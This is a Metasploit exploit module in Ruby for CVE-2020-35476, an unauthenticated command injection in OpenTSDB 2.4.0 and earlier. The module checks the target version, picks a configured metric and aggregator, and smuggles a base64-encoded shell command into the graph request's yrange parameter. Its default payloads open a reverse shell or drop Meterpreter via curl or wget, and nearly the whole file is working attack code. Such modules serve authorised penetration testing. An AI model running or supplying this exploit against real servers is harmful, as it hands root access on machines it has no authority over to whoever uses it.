249 lines
8.5 KiB
Ruby
249 lines
8.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'OpenTSDB 2.4.0 unauthenticated command injection',
|
|
'Description' => %q{
|
|
This module exploits an unauthenticated command injection
|
|
vulnerability in the yrange parameter in OpenTSDB through
|
|
2.4.0 (CVE-2020-35476) in order to achieve unauthenticated
|
|
remote code execution as the root user.
|
|
|
|
The module first attempts to obtain the OpenTSDB version via
|
|
the api. If the version is 2.4.0 or lower, the module
|
|
performs additional checks to obtain the configured metrics
|
|
and aggregators. It then randomly selects one metric and one
|
|
aggregator and uses those to instruct the target server to
|
|
plot a graph. As part of this request, the yrange parameter is
|
|
set to the payload, which will then be executed by the target
|
|
if the latter is vulnerable.
|
|
|
|
This module has been successfully tested against OpenTSDB
|
|
version 2.3.0.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Shai rod', # @nightrang3r - discovery and PoC
|
|
'Erik Wynter' # @wyntererik - Metasploit
|
|
],
|
|
'References' => [
|
|
['CVE', '2020-35476'],
|
|
['URL', 'https://github.com/OpenTSDB/opentsdb/issues/2051'] # disclosure and PoC
|
|
],
|
|
'DefaultOptions' => {
|
|
'RPORT' => 4242
|
|
},
|
|
'Platform' => %w[unix linux],
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'CmdStagerFlavor' => %w[bourne curl wget],
|
|
'Targets' => [
|
|
[
|
|
'Automatic (Unix In-Memory)',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
|
|
'Type' => :unix_memory
|
|
}
|
|
],
|
|
[
|
|
'Automatic (Linux Dropper)',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
|
|
'Type' => :linux_dropper
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2020-11-18',
|
|
'DefaultTarget' => 1,
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options [
|
|
OptString.new('TARGETURI', [true, 'The base path to OpenTSDB', '/']),
|
|
]
|
|
end
|
|
|
|
def check
|
|
# sanity check to see if the target is likely OpenTSDB
|
|
res1 = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path)
|
|
})
|
|
|
|
unless res1
|
|
return CheckCode::Unknown('Connection failed.')
|
|
end
|
|
|
|
unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenTSDB')
|
|
return CheckCode::Safe('Target is not an OpenTSDB application.')
|
|
end
|
|
|
|
# get the version via the api
|
|
res2 = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'api', 'version')
|
|
})
|
|
|
|
unless res2
|
|
return CheckCode::Unknown('Connection failed.')
|
|
end
|
|
|
|
unless res2.code == 200 && res2.body.include?('version')
|
|
return CheckCode::Detected('Target may be OpenTSDB but the version could not be determined.')
|
|
end
|
|
|
|
begin
|
|
parsed_res_body = JSON.parse(res2.body)
|
|
rescue JSON::ParserError
|
|
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')
|
|
end
|
|
|
|
unless parsed_res_body.is_a?(Hash) && parsed_res_body.key?('version')
|
|
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')
|
|
end
|
|
|
|
version = parsed_res_body['version']
|
|
|
|
begin
|
|
if Rex::Version.new(version) <= Rex::Version.new('2.4.0')
|
|
return CheckCode::Appears("The target is OpenTSDB version #{version}")
|
|
else
|
|
return CheckCode::Safe("The target is OpenTSDB version #{version}")
|
|
end
|
|
rescue ArgumentError => e
|
|
return CheckCode::Unknown("Failed to obtain a valid OpenTSDB version: #{e}")
|
|
end
|
|
end
|
|
|
|
def select_metric
|
|
# check if any metrics have been configured. if not, exploitation cannot work
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'suggest'),
|
|
'vars_get' => { 'type' => 'metrics' }
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Unknown, 'Connection failed.')
|
|
end
|
|
|
|
unless res.code == 200
|
|
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured metrics")
|
|
end
|
|
|
|
begin
|
|
metrics = JSON.parse(res.body)
|
|
rescue JSON::ParserError
|
|
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain valid JSON.')
|
|
end
|
|
|
|
unless metrics.is_a?(Array)
|
|
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain a JSON array')
|
|
end
|
|
|
|
if metrics.empty?
|
|
fail_with(Failure::NoTarget, 'Failed to identify any configured metrics. This makes exploitation impossible')
|
|
end
|
|
|
|
# select a random metric since any will do
|
|
@metric = metrics.sample
|
|
print_status("Identified #{metrics.length} configured metrics. Using metric #{@metric}")
|
|
end
|
|
|
|
def select_aggregator
|
|
# check the configured aggregators and select one at random
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'aggregators')
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Unknown, 'Connection failed.')
|
|
end
|
|
|
|
unless res.code == 200
|
|
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured aggregators")
|
|
end
|
|
|
|
begin
|
|
aggregators = JSON.parse(res.body)
|
|
rescue JSON::ParserError
|
|
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain valid JSON.')
|
|
end
|
|
|
|
unless aggregators.is_a?(Array)
|
|
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain a JSON array')
|
|
end
|
|
|
|
if aggregators.empty?
|
|
fail_with(Failure::NoTarget, 'Failed to identify any configured aggregators. This makes exploitation impossible')
|
|
end
|
|
|
|
# select a random aggregator since any will do
|
|
@aggregator = aggregators.sample
|
|
print_status("Identified #{aggregators.length} configured aggregators. Using aggregator #{@aggregator}")
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
# use base64 to avoid special char escape hell (specifying BadChars did not help)
|
|
cmd = "'echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/sh'"
|
|
start_time = rand(20.year.ago..10.year.ago) # this should be a date far enough in the past to make sure we capture all possible data
|
|
start_value = start_time.strftime('%Y/%m/%d-%H:%M:%S')
|
|
end_time = rand(1.year.since..10.year.since) # this can be a date in the future to make sure we capture all possible data
|
|
end_value = end_time.strftime('%Y/%m/%d-%H:%M:%S')
|
|
|
|
get_vars = {
|
|
'start' => start_value,
|
|
'end' => end_value,
|
|
'm' => "#{@aggregator}:#{@metric}",
|
|
'yrange' => "[1:system(#{Rex::Text.uri_encode(cmd)})]",
|
|
'wxh' => "#{rand(800..1600)}x#{rand(400..600)}",
|
|
'style' => 'linespoint'
|
|
}
|
|
|
|
exploit_uri = '?'
|
|
get_vars.each do |key, value|
|
|
exploit_uri += "#{key}=#{value}&"
|
|
end
|
|
exploit_uri += 'json'
|
|
|
|
# using a raw request because cgi was leading to encoding issues
|
|
send_request_raw({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'q' + exploit_uri)
|
|
}, 0) # we don't have to wait for a reply here
|
|
end
|
|
|
|
def exploit
|
|
select_metric
|
|
select_aggregator
|
|
if target.arch.first == ARCH_CMD
|
|
print_status('Executing the payload')
|
|
execute_command(payload.encoded)
|
|
else
|
|
execute_cmdstager(background: true)
|
|
end
|
|
end
|
|
end
|